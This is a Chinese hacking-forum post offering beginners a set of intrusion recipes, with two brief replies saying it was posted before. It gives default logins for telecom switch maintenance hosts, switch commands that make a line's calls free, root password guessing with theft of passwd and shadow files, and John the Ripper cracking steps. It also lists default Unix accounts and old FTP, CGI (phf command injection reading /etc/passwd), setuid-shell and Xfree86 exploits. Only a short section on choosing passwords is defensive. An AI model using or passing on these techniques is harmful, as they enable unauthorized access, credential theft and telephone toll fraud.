20CN网络安全小组论坛 - 菜鸟乐园

论坛: 菜鸟乐园标题: 攻击电讯局

作者: dongh [dongh]

论坛用户

一．入侵电信局通用入口．
因形势发展需要．大都县，地一级电信局都成立了网路管理，交换维护中心．负责本地区的话务分析及交换维护．顾名思义．这两个机构都通过各种传输手段和该地区所有被监控的交换机连通．已ANONYMOUS局来说吧，该局网管中心建了一个FDDI IntraNET.通过交换机的人机命令口传来的话务数据进行网络的质量分析．交换传输维护中心也建立了一个IEEE.802.3的以太网．也和交换机相连．负责交换机的日常维护．这两个中心用路由器相互联结．再连上环境监控设备．就实现了所谓的机房无人值守．而有些局则为了方便技术人员的方便．另外架设拨号服务器,这样工作人员就可以在任何地方维护到交换机了．但你一定要先摸清ppp的接入电话号码．至于用户名嘛，各地不定，但很多地方是用omc(Operator & Maintenance Center)的．而且架这些intranet的人员往往在安全方面不是专家．懂我的话了吗？笨就是说他们也很菜　:))在进去以后，先ping自己，知道ip后．(eg. 192.130.5.30)就开始找接交换机的前台机了．telnet 192.130.5.2(3,4,5,6,7...30) Be patient!
Unix 4.0
login:omc
password:<ENTER>
Succ.....
恭喜！你进去了．如omc加了密码，试试sybase，一般sybase没有密码．进去后．

就看老兄的啦！你想做什么！！！！！！！！！

二．Ｓ１２４０简介
进入系统以后，别忘了先w一下哦，否则给人kill了，以后加了密码，就没得玩喽！

%cd /u/omc/bin
%mpt
就进维护菜单了．按(1...n)选择对哪个局进行维护．进了交换机的维护端口(mptmon)
后看到的是>提示符．有点象dos? 不会吧～～～等你＊＊＊就知道了＃＃＃现在的s1240有两种版本(E & J) family,两种版本命令有些差别．我们先来鉴别一下．
>MM <ENTER>
TRAIN OCT-11-96 WED (TRAIN这儿显示的是局名，各地不一）
<
这是E family.

>MM
TRAIN
<88:dn=k'5757011;
在报告中系统会告诉你这个电话的物理地址EN=h'XXX&YYY;记住！下面有用．
>MM
TRAIN
<378:1="R_OLCOS",2="D_TN"&0&"YYY",3="D_CHRGINF"&0&"40",NA=H'XXX;
从此以后，该电话市话FREE! 注解：那要看你那里是不是拨号上网的,不过好多地方都是走分组交换网,是专线.
另外,那个改市话的方法有几点注意事项:
1. 只适用于老版本交换机;
2. IF 1 IS TRUE
IF 该交换局是长市合一局
THEN 长途也FREE了,哈哈

示例二：这个好象有点搞笑，我解开的网页是STUPID.HK.????,具体步骤如下: 我的目标是:PUBLIC.HK.????,可以GET PASSWD,CANT GOT SHADOW,于是我GET了它的HOSTS文件,试图找出它的关联,发现STUPID.HK.???? STUPID,TELNET TOTHERE.

USER:STUPID
PASSWD:STUPID CANT JION.
USER:ROOT
PASSWD:STUPID GOOD!I GOT IT.THE FOOL ROOT!
CD /ETC
GET PASSWD & GET SHADOW
USE UNSHADOW PASS2DIS BURTE,N:WEBMASTER P:WEBMASTER ...
以上是全过程,希望有＊＊价值　

示例三：

口令的攻击术
黑客攻击目标时常常把破译普通用户的口令作为攻击的开始.先用"finger 远端主机名"找出主机上的用户帐号,然后就采用字典穷举法进行攻击.它的原理是这样的:网络上的用户常采用一个英语单词或自己的姓氏作为口令.通过一些程序,自动地从电脑字典中取出一个单词,作为用户的口令输入给远端的主机,申请进入系统.若口令错误,就按序取出下一个单词,进行下一个尝试.并一直循环下去,直到找到正确的口令,或字典的单词试完为止.由于这个破译过程由计算机程序来自动完成,几个小时就可以把字典的所有单词都试一遍.这类程序的典型是 LetMeIn version 2.0若这种方法不能奏效,黑客就会仔细寻找目标的薄弱环节和漏洞,伺机夺取目标中存放口令的文件shadow或passwd.因为在现代的Unix操作系统中,用户的基本信息存放在passwd文件中,而所有的口令则经过DES加密方法加密后专门存放在一个叫shadow(影子)的文件中,并处于严密的保护之下.老版本的Unix没有shadow文件,它所有的口令都存放在passwd文件中.一旦夺取口令文件,黑客们就会用专解DES加密法的程序来解口令.好,首先先让我们把 Unix
Unix一共是 [0x00~0xff]共128个字符,小于 0x20 的都算是控制符,不能
输入为口令, 0x7f 为转义符, 不能输入.那么总共有128 - 32 - 1 = 95 个字符可作为口令的字符. 也就是 10(数字)+33(标点符号)+26*2(大小写字母)=95个如果passwd取任意5个字母+1位数字或符号(按顺序)
可能性是52*52*52*52*52*43=16,348,773,000(163亿种可能性)

但如果5个字母是一个常用词,估算一下设常用词5000条,从5000个常用词中取一个词与任意一个字符组合成口令,即5000*(2*2*2*2*2)(大小写)*43=6,880,000 (688万种可能性)

注:实际情况下绝大多数人都只用小写字符,可能性还要小.
但这已经可以用微机进行穷举了,在Pentium 200上每秒可算3,4万次,象这样简单的口令要不了3分钟. 如果有人用P200算上一周,将可进行200亿次攻击,所以6位口令是很不可靠的,至少要用7位. 可惜很多用户确实是这么设passwd的.以上只是粗略估算常见的一种情况,实际情况还要复杂,主要是根据用户取口令格式的变化而变化.那些hacker 并不需要所有人的口令,他们得到几个用户口令就能获取系统的控制权,所以取口令过于简单是对系统安全的不负责.
以下举个解密码程序的例子:

John The Ripper 1.4
这个软件由著名的黑客组织--UCF出的,它支持Unix,Dos,Windows,速度超快,可以说是目前同类中最杰出的作品.对于老式的passwd档(就是没shadow的那种, 任何人能看的都可以把 passwd密文存下来),John可以直接读取并用字典穷举击破. 对于现代的passwd+shadow的方式,John提供了UNSHADOW程序直接把两者合成出

老式passwd文件.

John 的用法简介:
(1)
JOHN -P:PASSWD -W:WORDLIST
WORDLIST是字典文件.
PASSWD是你拿到的密码文件.
(2)
没有字典档时,在John的配置文件-->john.ini里，有密码长度和字母、数字、符号的设置，设好后就自动在内存里生成密码去找。这样你用软盘也可以，但机器的速度一定要快。
(3)
用暴力法破密码时使用参数-i:all
格式为JOHN -I:ALL -P:PASSWD
就可破象5e5t56e6这样的密码了。
这样可以产生A----ZZZZZZZZ的密码,不过时间...嘿嘿....
(4)
当破解到一半因种种原因需要暂时停止破解，按ctrl+c,

下次破解不必从新来过，只要john -restore:restore即可接着破。
john在纯dos下要比在win95下快，用unix更快，
(5)
对于象a2e4u7的密码是很难破出的，但JOHN的INCREMENTAL(渐进)方式的密码组合引入了一些字母的频率统计信息，即“高频先试”的原则，倒是有些启发意义。
在JOHN.INI中INCREMENTAL中的B,M,E各行意思如下:
B...Begin M...Middle E...End

如想要加一种方式, 比如字母加数字, 可以设成
[Incremental:a1]

CharCount = 36 (字符的个数,这儿是26个字母+10个数字)
MinLen = 8 (passwd的最小长度)
MaxLen = 8 (passwd的最大长度)
CharsetB = 1203984567smcbtdpajrhflgkwneiovyzuqx
CharsetM = 1203984567eaiornltsuchmdgpkbyvwfzxjq
CharsetE = 1203984567erynsatldoghikmcwpfubzjxvq
加在john.ini里, 执行是incremental参数选a1就行了.
(6)
按Ctrl-C中止运行时,输出是这样:
v: 18 c: 1295458688 t: 1:14:28:08 9% c/s: 11036 w: oentl - obftl
v: 0 c: 5424000 s: 862 c/s: 6292 w: fbymgf
V:是Victory，是破解成功的个数，因为俺运行一段后，破解了2个密码，显示了V:2，后来又破了几个，V后面的数字也相应变化。
C:Compare,是比较的次数，
T:time,程序已运行了多长时间.
9%: 当前完成度.至100%即全部完成.
c/s:是每秒比较的次数,随机器性能的高低而变化.
W:是当前正在试的一个word，这个word可能位于你的字典中（如果你用字典的话）或是john产生的。根据W所报告的数字可以估计破解到什么地方了。
(7)
运行需要的字典可以在internet上下载别人已做好的,如:

ftp.cads.com.tw 在 /pub/security下的DICT.ZIP
ftp.uni-koeln.de /pub/dictionaries/
ftp.ox.ac.uk /pub/wordlists

也可以自己做,用txt2dict或pass2dic等专用工具可自动把英语文件转换成字典.

防范的办法

防范的办法很简单,只要使自己的口令不在英语字典中,且不可能被别人猜测出就可以了. 一个好的口令应当至少有7个字符长,不要用个人信息(如生日,名字等),口令中要有一些非字母(如数字,标点符号,控制字符等),还要好记一些,不能写在纸上或计算机中的文件中,选择口令的一个好方法是将两个不相关的词用一个数字或控制字符相连,并截断为8个字符.例如我以前的口令是me2.hk97
保持口令安全的要点如下:
*不要将口令写下来.
*不要将口令存于电脑文件中.
*不要选取显而易见的信息作口令.
*不要让别人知道.
*不要在不同系统上使用同一口令.
*为防止眼明手快的人窃取口令,在输入口令时应确认无人在身边.
*定期改变口令,至少6个月要改变一次.
最后这点是十分重要的,永远不要对自己的口令过于自信,也许就在无意当中泄露了口令.定期地改变口令,会使自己遭受黑客攻击的风险降到了一定限度之内.一旦发现自己的口令不能进入计算机系统,应立即向系统管理员报告,由管理员来检查原因.

系统管理员也应定期运行这些破译口令的工具,来尝试破译shadow文件,若有用户的口令密码被破译出,说明这些用户的密码取得过于简单或有规律可循,应尽快地通知他们,及时更正密码,以防止黑客的入侵.

示列四：

一般一个系统第一次安装时会有一些default帐号和密码:

ACCOUNT　　　　 PASSWORD
----------- ----------------
root　　　　　　　 root
sys　　　　　　　　sys/system/bin
bin　　　　　　　　sys/bin
mountfsys　　 mountfsys
adm　　　　　　　　adm
uucp　　　　　　　 uucp
nuucp　　　　　　 anon
anon　　　　　　　 anon
user　　　　　　　 user
games　　　　　　 games
install　　　　 install
reboot　　　　　给 "command login" 用的
demo　　　　　　　 demo
umountfsys　 umountfsys
sync　　　　　　　 sync
admin　　　　　　 admin
guest　　　　　　 guest
daemon　　　　　 daemon

其中 root, mountfsys, umountfsys, install (有时候sync也是)等都是root level帐号, 也就是拥有sysop (系统管理者)的权限, 完全的权限!!! 当你尝试签入某些系统时这些原始帐号及密码都是很好的方向, 特别是如果碰到那些少根筋的系统管理者, 嘿嘿! 搞不好你就莫明其妙当了root user 了!!!

示列五： FTP入侵法??不太实用的方法 !!

[1] 连接到FTP Server.
[2] 当系统要求你输入User Name 时 [Enter] 不管它
[3] Password输入 --> "quote user ftp"
[4] 接著再输入 --> "quote cwd ~root"
[5] 再输入 --> "quote pass ftp"

这种方法似乎只能用在很老旧的FTP Server上 , 以国内目前的机器应该都不会成功的 , 如果你想要试试的话 , 找找国外大学的FTP Server 试试看吧!!依照上面的步骤会产生甚么样的结果?? ――你就是root啦 !!

示列六： Linux 1.2.13 漏洞之一 ?? 成为 root 吧 !!

Linux 1.2.13有许多的漏洞 , 如果你所使用的版本是较新的话 , 你大可放心 ,不然你也可以依照下面的方法试试你的系统 !!

[1] Telnet 到 yournet.net
[2] Login之后输入 --> "finger @yournet.net"
[3] 再 --> "finger root@yournet.net" 等 root 来 login
[4] 用 WWW Browser 连到 www.yournet.net
[5] Location 输入 --> "www.yournet.net/cgi-bin/nph-test-cgi/*"
[6] 回到 Telnet 软体 --> "cp /bin/sh /tmp/.sh"
[7] 再输入 --> "chmod 4755 /tmp/.sh" (You're root now!!)

至于其它Linux的System Holes, 有机会再慢慢谈罗 !! 当然已经有许多文件讲到了 !!

示列七：可以用WWW Browser抓/etc/passwd???那当然 !!

[1] 用 WWW Browser 连到 yournet.net
[2] Location 输入 --> "www.yournet.net/cgi-bin/nph-test-cgi?*"
[3] 接著如果出来一份像Report的画面的话 , 接著输入
/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
[4] 发生了甚么事 ?? etc/passwd 在你的浏览器中" 显示 "出来了!!快点Save吧!!

这个方法管不管用 ?? 依各系统所使用的 WWW Server 软体不同而有差异 , 所以如果你在选购WWW Server 软体的时候也请注意一下它的安全性 , 不一定名牌的就好 , 像这个Hole... 当然这个方法曾经管用过 , 至少两天前还试过它可以破解一两个" 网路咖啡 " 的站台(<--- 又是 ,
安全性值得讨论)!!

示列八： Xfree86 3.1.2有个漏洞能让别人删除"任何"档案 ?是的 ! 包括 etc/passwd 用这个Script试试看 ...

--- cut here, start code exploit.sh --------------------
!/bin/sh
echo Running exploit to check the Xfree86 3.1.2 hole!
echo Creating file called /tmp/blah which will contain a few words.
echo "This version is NOT exploitable!" >/tmp/blah
ln -s /tmp/blash /tmp/.tX0-lock
startx
echo Now Check /tmp/blah and if it says:
echo "This version is NOT exploitable!"
echo then the version you have is not exploitable!
echo Otherwise, it should have a few numbers, then it is exploitable!

--- cut here, end of code exploit.sh -------------------

地主发表时间: 04-05-16 16:28

回复: netspirit [netspirit]

论坛用户

好象有人发过了!

B1层发表时间: 04-05-16 16:40

回复: georgeju [georgeju]

论坛用户

恩
我也好像看到了

B2层发表时间: 04-05-16 18:02

论坛: 菜鸟乐园